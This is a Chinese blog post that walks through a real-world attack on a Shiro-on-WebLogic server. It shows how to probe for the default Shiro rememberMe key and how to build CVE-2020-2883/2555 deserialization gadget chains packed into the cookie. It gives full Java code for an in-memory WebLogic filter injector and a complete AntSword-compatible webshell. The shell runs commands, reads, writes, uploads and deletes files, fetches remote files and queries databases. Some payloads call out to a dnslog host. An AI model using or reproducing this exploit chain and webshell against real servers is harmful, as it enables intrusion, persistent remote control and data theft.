LoginSignup
0
0

More than 3 years have passed since last update.

使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell

Last updated at Posted at 2020-09-11

在项目中碰到了Shiro的反序列化,用工具打发现没有成功,然后发现报错是weblogic的,想到了之前研究的WebLogic的几个CVE,遂对其展开研究。

纵观全局

本文涉及如下知识点:
1. 如何判断shiro正确的key
2. 构造CVE-2020-2883、CVE-2020-2555 gadget
3. WebLogic 内存shell
4. CVE-2020-2883加载字节码
5. 如何实现Filter类型的蚁剑shell

阅读本文之前,建议先看已经完成好的项目:https://github.com/Y4er/WebLogic-Shiro-shell

如何判断Shiro正确的key

两种思路
1. 根据Shiro的正确逻辑构造正确的Object
2. URLDNS判断

根据Shiro的正确逻辑构造正确的Object

一种思路是 @l1nk3r 师傅在 《一种另类的 shiro 检测方式》 提出来的,简单说一下。

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
image.png

先获取cookie的bytes,然后进入convertBytesToPrincipals()

image.png

在这个方法中先解密byte数组,然后反序列化对象。
image.png

反序列化时强制转换为PrincipalCollection类型,那么我们构造一个空的PrincipalCollection对象,key错误时返回rememberMe=deleteMe,正确时不返回。

PrincipalCollection是一个接口,继承他的类有如图
image.png

SimplePrincipalCollection就是我们要用的,手动构造

package org.chabug.test;

import org.apache.shiro.subject.SimplePrincipalCollection;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;

import java.io.IOException;

public class ShiroKey {
    public static void main(String[] args) throws IOException {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        byte[] bytes = Serializables.serialize(simplePrincipalCollection);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
        System.out.println(rememberMe);
    }
}

key为kPH+bIxk5D2deZiIxcaaaA==正确时不返回deleteMe
image.png

错误时AAA+bIxk5D2deZiIxcaaaA==返回deleteMe
image.png

以此通过枚举key判断返回headers中是否出现了deleteMe即可。

URLDNS判断

很简单了,直接给代码

package org.chabug.test;

import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.URLDNS;

public class ShiroKey {
    public static void main(String[] args) throws Exception {
        URLDNS urldns = new URLDNS();
        Object object = urldns.getObject("http://oq287o.dnslog.cn");
        byte[] buf = Serializables.serialize(object);

        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}

key正确时会收到DNSLOG请求
image.png

到这里,实际项目中判断出来了key为默认的kPH+bIxk5D2deZiIxcaaaA==,使用DNSLOG也收到了请求,使用工具跑了一下发现没有可用的gadget。接下来就是根据CVE-2020-2883、CVE-2020-2555这两个CVE来构造gadget进行RCE。

构造CVE-2020-2883、CVE-2020-2555 gadget

根据之前的我分析过的payload拿过来,配上Shiro的加密就完事

package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});        //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serialize(queue);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
        System.out.println(rememberMe);
    }
}

本机测试,很好收到了请求
image.png

因为目标是Linux,改成/bin/bash在测试也收到了dnslog请求,然后随手就是一个反弹shell,却发现死活反弹不回来,然后本地监听80、443、8080等常规端口,用curl、wget等命令触发http请求没收到,判断为只出DNS,难受了啊。

此时再想目标机器是WebLogic,可以直接写jsp,通过不断的dnslog回显,base64拼接截取判断找到了war所在的目录(这个过程简直恶心),写入txt、jsp、jspx均访问不到,难道是SpringMVC?试了多个目录均不行,并且发现目标机器是通过nginx反代WebLogic,内网中2台WebLogic做负载均衡,读的文件一会有一会没有,恶心,真的恶心,但是又不能不搞。

东西都访问不到,只能写内存马了呗,爷就不信搞不定。

WebLogic 内存shell

作为一个渗透搬砖工程师,不会分析还不会抄? 关于WebLogic的内存shell如何实现就不分析了,直接抄宽字节安全的文章《weblogic 无文件webshell的技术研究》 最终实现了如下代码

import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class WebLogicEcho {
    static {
        try {
            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());

            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);

            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);

            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);

            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);

            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);

            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "shell") == null) {
                // this is your shell class byte code
                byte[] codeClass = new byte[]{22,22,2,2,2,2,2};
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

                String evilName = "gameName" + System.currentTimeMillis();
                String filterName = "gameFilter" + System.currentTimeMillis();
                String[] url = new String[]{"/*"};

                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, filterName, evilFilterClass);
                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);

                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

宽字节安全的文章中采用的是base64+gzip的形式拿到shell,我是直接通过读文件的形式拿,因为我遇到了几个大坑,慢慢讲。

最开始的时候我是使用PythonInterpreter类加载WebLogicEcho.class字节码的形式,将我写的执行cmd命令的MyFilter的shell直接编译好,然后读取class字节码写入到codeClass数组中,编译什么的都顺利,就是发送过去之后,WebLogic会直接被打挂,多次调试之后发现是因为Python加载字节码数组太长了,导致溢出进程宕掉了。

可以,后来我用URLClassLoader,我把编译好的WebLogicEcho.class打个jar包,命令执行写入目标然后加载类可以了吧。很好,一切都没问题。代码长这样

package org.chabug.cve;

import org.chabug.utils.Serializables;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            // this jar is result of `jar cvf a.jar WebLogicEcho.class`
            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
//                    new Object[]{new Object[]{new URL[]{new URL("file:///tmp/tttt.jar")}}}
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"WebLogicEcho"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serialize(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

tttt.jar是WebLogicEcho.class打的jar包。此时WebLogicEcho.class是执行命令的filter shell,shell实现可见 MyFilter.java

哎,都没问题,直接怼上去cmdshell。演示图如下:
1.gif

A:命令执行的shell有什么用呢?就是多了个回显结果?爷想要更多的功能,你把哥斯拉shell给爷怼进去!
我:啊这?好嘞

不就是哥斯拉的shell吗,改一改就行,然后就打脸了。以下是哥斯拉shell的部分代码

    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", new String(data));
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }

其中pageContext在filter中是没有的,我搜遍了资料,问遍了师傅也没解决,然后准备退而求其次,实现一个冰蝎的shell,然后发现冰蝎也用到了pageContext.............算了 蚁剑吧。下面是我实现的蚁剑的Filter shell.

import javax.servlet.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.*;
import java.text.SimpleDateFormat;

public class MyAntShellFilter implements Filter {
    String Pwd = "ant";   //连接密码
    // 数据编码 3 选 1
    String encoder = ""; // default
    // String encoder = "base64"; //base64
    // String encoder = "hex"; //hex
    String cs = "UTF-8"; // 脚本自身编码

    String EC(String s) throws Exception {
        if (encoder.equals("hex") || encoder == "hex") return s;
        return new String(s.getBytes("ISO-8859-1"), cs);
    }

    String showDatabases(String encode, String conn) throws Exception {
        String sql = "show databases"; // mysql
        String columnsep = "\t";
        String rowsep = "";
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
    }

    String showTables(String encode, String conn, String dbname) throws Exception {
        String sql = "show tables from " + dbname; // mysql
        String columnsep = "\t";
        String rowsep = "";
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);
    }

    String showColumns(String encode, String conn, String dbname, String table) throws Exception {
        String columnsep = "\t";
        String rowsep = "";
        String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
    }

    String query(String encode, String conn, String sql) throws Exception {
        String columnsep = "\t|\t"; // general
        String rowsep = "\r\n";
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);
    }

    String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
            throws Exception {
        String ret = "";
        conn = (EC(conn));
        String[] x = conn.trim().replace("\r\n", "\n").split("\n");
        Class.forName(x[0].trim());
        String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
        Connection c = DriverManager.getConnection(url);
        Statement stmt = c.createStatement();
        ResultSet rs = stmt.executeQuery(sql);
        ResultSetMetaData rsmd = rs.getMetaData();

        if (needcoluname) {
            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
                String columnName = rsmd.getColumnName(i);
                ret += columnName + columnsep;
            }
            ret += rowsep;
        }

        while (rs.next()) {
            for (int i = 1; i <= rsmd.getColumnCount(); i++) {
                String columnValue = rs.getString(i);
                ret += columnValue + columnsep;
            }
            ret += rowsep;
        }
        return ret;
    }

    String WwwRootPathCode(ServletRequest r) throws Exception {
        String d = this.getClass().getClassLoader().getResource("/").getPath();
        String s = "";
        if (!d.substring(0, 1).equals("/")) {
            File[] roots = File.listRoots();
            for (int i = 0; i < roots.length; i++) {
                s += roots[i].toString().substring(0, 2) + "";
            }
        } else {
            s += "/";
        }
        return s;
    }

    String FileTreeCode(String dirPath) throws Exception {
        File oF = new File(dirPath), l[] = oF.listFiles();
        String s = "", sT, sQ, sF = "";
        java.util.Date dt;
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        for (int i = 0; i < l.length; i++) {
            dt = new java.util.Date(l[i].lastModified());
            sT = fm.format(dt);
            sQ = l[i].canRead() ? "R" : "";
            sQ += l[i].canWrite() ? " W" : "";
            if (l[i].isDirectory()) {
                s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
            } else {
                sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
            }
        }
        return s += sF;
    }

    String ReadFileCode(String filePath) throws Exception {
        String l = "", s = "";
        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
        while ((l = br.readLine()) != null) {
            s += l + "\r\n";
        }
        br.close();
        return s;
    }

    String WriteFileCode(String filePath, String fileContext) throws Exception {
        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
        bw.write(fileContext);
        bw.close();
        return "1";
    }

    String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
        File f = new File(fileOrDirPath);
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (int k = 0; k < x.length; k++) {
                if (!x[k].delete()) {
                    DeleteFileOrDirCode(x[k].getPath());
                }
            }
        }
        f.delete();
        return "1";
    }

    void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
        int n;
        byte[] b = new byte[512];
        r.reset();
        ServletOutputStream os = r.getOutputStream();
        BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
        os.write(("->|").getBytes(), 0, 3);
        while ((n = is.read(b, 0, 512)) != -1) {
            os.write(b, 0, n);
        }
        os.write(("|<-").getBytes(), 0, 3);
        os.close();
        is.close();
    }

    String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
        String h = "0123456789ABCDEF";
        File f = new File(savefilePath);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < fileHexContext.length(); i += 2) {
            os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
        }
        os.close();
        return "1";
    }

    String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
        File sf = new File(sourceFilePath), df = new File(targetFilePath);
        if (sf.isDirectory()) {
            if (!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for (int j = 0; j < z.length; j++) {
                CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
            }
        } else {
            FileInputStream is = new FileInputStream(sf);
            FileOutputStream os = new FileOutputStream(df);
            int n;
            byte[] b = new byte[1024];
            while ((n = is.read(b, 0, 1024)) != -1) {
                os.write(b, 0, n);
            }
            is.close();
            os.close();
        }
        return "1";
    }

    String RenameFileOrDirCode(String oldName, String newName) throws Exception {
        File sf = new File(oldName), df = new File(newName);
        sf.renameTo(df);
        return "1";
    }

    String CreateDirCode(String dirPath) throws Exception {
        File f = new File(dirPath);
        f.mkdir();
        return "1";
    }

    String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
        File f = new File(fileOrDirPath);
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        java.util.Date dt = fm.parse(aTime);
        f.setLastModified(dt.getTime());
        return "1";
    }

    String WgetCode(String urlPath, String saveFilePath) throws Exception {
        URL u = new URL(urlPath);
        int n = 0;
        FileOutputStream os = new FileOutputStream(saveFilePath);
        HttpURLConnection h = (HttpURLConnection) u.openConnection();
        InputStream is = h.getInputStream();
        byte[] b = new byte[512];
        while ((n = is.read(b)) != -1) {
            os.write(b, 0, n);
        }
        os.close();
        is.close();
        h.disconnect();
        return "1";
    }

    String SysInfoCode(ServletRequest r) throws Exception {
//        String d = r.getServletContext().getRealPath("/");
        String d = this.getClass().getClassLoader().getResource("/").getPath();
        String serverInfo = System.getProperty("os.name");
        String separator = File.separator;
        String user = System.getProperty("user.name");
        String driverlist = WwwRootPathCode(r);
        return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
    }

    boolean isWin() {
        String osname = System.getProperty("os.name");
        osname = osname.toLowerCase();
        if (osname.startsWith("win"))
            return true;
        return false;
    }

    String ExecuteCommandCode(String cmdPath, String command) throws Exception {
        StringBuffer sb = new StringBuffer("");
        String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
        Process p = Runtime.getRuntime().exec(c);
        CopyInputStream(p.getInputStream(), sb);
        CopyInputStream(p.getErrorStream(), sb);
        return sb.toString();
    }

    String decode(String str) {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }

    String decode(String str, String encode) {
        if (encode.equals("hex") || encode == "hex") {
            if (str == "null" || str.equals("null")) {
                return "";
            }
            StringBuilder sb = new StringBuilder();
            StringBuilder temp = new StringBuilder();
            try {
                for (int i = 0; i < str.length() - 1; i += 2) {
                    String output = str.substring(i, (i + 2));
                    int decimal = Integer.parseInt(output, 16);
                    sb.append((char) decimal);
                    temp.append(decimal);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            return sb.toString();
        } else if (encode.equals("base64") || encode == "base64") {
            byte[] bt = null;
            try {
                sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
                bt = decoder.decodeBuffer(str);
            } catch (IOException e) {
                e.printStackTrace();
            }
            return new String(bt);
        }
        return str;
    }

    void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
        String l;
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        while ((l = br.readLine()) != null) {
            sb.append(l + "\r\n");
        }
        br.close();
    }

    public void init(FilterConfig f) throws ServletException {
    }


    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("size") != null) {
            response.setContentType("text/html");
            response.setCharacterEncoding(cs);
            StringBuffer sb = new StringBuffer("");
            try {
                String funccode = EC(request.getParameter(Pwd) + "");
                String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
                String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
                String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
                String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
                String[] pars = {z0, z1, z2, z3};
                sb.append("->|");

                if (funccode.equals("B")) {
                    sb.append(FileTreeCode(pars[1]));
                } else if (funccode.equals("C")) {
                    sb.append(ReadFileCode(pars[1]));
                } else if (funccode.equals("D")) {
                    sb.append(WriteFileCode(pars[1], pars[2]));
                } else if (funccode.equals("E")) {
                    sb.append(DeleteFileOrDirCode(pars[1]));
                } else if (funccode.equals("F")) {
                    DownloadFileCode(pars[1], response);
                } else if (funccode.equals("U")) {
                    sb.append(UploadFileCode(pars[1], pars[2]));
                } else if (funccode.equals("H")) {
                    sb.append(CopyFileOrDirCode(pars[1], pars[2]));
                } else if (funccode.equals("I")) {
                    sb.append(RenameFileOrDirCode(pars[1], pars[2]));
                } else if (funccode.equals("J")) {
                    sb.append(CreateDirCode(pars[1]));
                } else if (funccode.equals("K")) {
                    sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
                } else if (funccode.equals("L")) {
                    sb.append(WgetCode(pars[1], pars[2]));
                } else if (funccode.equals("M")) {
                    sb.append(ExecuteCommandCode(pars[1], pars[2]));
                } else if (funccode.equals("N")) {
                    sb.append(showDatabases(pars[0], pars[1]));
                } else if (funccode.equals("O")) {
                    sb.append(showTables(pars[0], pars[1], pars[2]));
                } else if (funccode.equals("P")) {
                    sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
                } else if (funccode.equals("Q")) {
                    sb.append(query(pars[0], pars[1], pars[2]));
                } else if (funccode.equals("A")) {
                    sb.append(SysInfoCode(request));
                }
            } catch (Exception e) {
                sb.append("ERROR" + "://" + e.toString());
                e.printStackTrace();
            }
            sb.append("|<-");
            response.getWriter().print(sb.toString());
        } else {
            chain.doFilter(request, response);
        }
    }

    public void destroy() {
    }
}

实现蚁剑Filter shell中踩坑发现在WebLogic中

 String d = r.getServletContext().getRealPath("/")

这行代码获取的是空的,需要改为

String d = this.getClass().getClassLoader().getResource("/").getPath();

没问题了,编译,读字节码写入到codeClass byte数组中,然后问题又来了,编译不通过.....

image.png

codeClass字节码数组太长了,爷吐了。没关系,我写个方法,让他自己从本地读字节码,我通过命令执行把字节码写入就完事了。最终实现如下

import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class WebLogicEcho {
    static {
        try {
            Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
            Method m = executeThread.getDeclaredMethod("getCurrentWork");
            Object currentWork = m.invoke(Thread.currentThread());

            Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
            connectionHandlerF.setAccessible(true);
            Object obj = connectionHandlerF.get(currentWork);

            Field requestF = obj.getClass().getDeclaredField("request");
            requestF.setAccessible(true);
            obj = requestF.get(obj);

            Field contextF = obj.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            Object context = contextF.get(obj);

            Field classLoaderF = context.getClass().getDeclaredField("classLoader");
            classLoaderF.setAccessible(true);
            ClassLoader cl = (ClassLoader) classLoaderF.get(context);

            Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
            cachedClassesF.setAccessible(true);
            Object cachedClass = cachedClassesF.get(cl);

            Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
            if (getM.invoke(cachedClass, "shell") == null) {
//                byte[] codeClass = getBytesByFile("/tmp/MyAntShellFilter.class");
                byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/MyAntShellFilter.class");
                Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                defineClass.setAccessible(true);
                Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

                String evilName = "gameName" + System.currentTimeMillis();
                String filterName = "gameFilter" + System.currentTimeMillis();
                String[] url = new String[]{"/*"};

                Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
                putM.invoke(cachedClass, filterName, evilFilterClass);
                Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
                Object filterManager = getFilterManagerM.invoke(context);

                Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilterM.setAccessible(true);
                registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static byte[] getBytesByFile(String pathStr) {
        File file = new File(pathStr);
        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
            byte[] b = new byte[1000];
            int n;
            while ((n = fis.read(b)) != -1) {
                bos.write(b, 0, n);
            }
            fis.close();
            byte[] data = bos.toByteArray();
            bos.close();
            return data;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

捋一下,把MyAntShellFilter.class写入到目标,WebLogicEcho.class打成jar包写入目标,然后CVE_2020_2883_URLClassLoader生成rememberMe的cookie,蚁剑链接,成了!

antshell.gif

总结

文字能表现出来的东西很表面,因为实际环境中碰到的难题我很难用文字去描述出来,其实当时反代的问题就困扰了我们好久。不过总算历时两周的研究,终于搞定了项目,期间抄的代码无数,很难,但是蚁剑链接success的时候心里的激动是无与伦比的,踩得坑好像也不算什么了。或许这就是平凡的搞站生活中一点点不可多得的喜悦吧。

参考

  1. https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
  2. https://www.cnblogs.com/potatsoSec/p/13162792.html
  3. https://github.com/Y4er/WebLogic-Shiro-shell

特别感谢宽字节团队@蛋黄

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0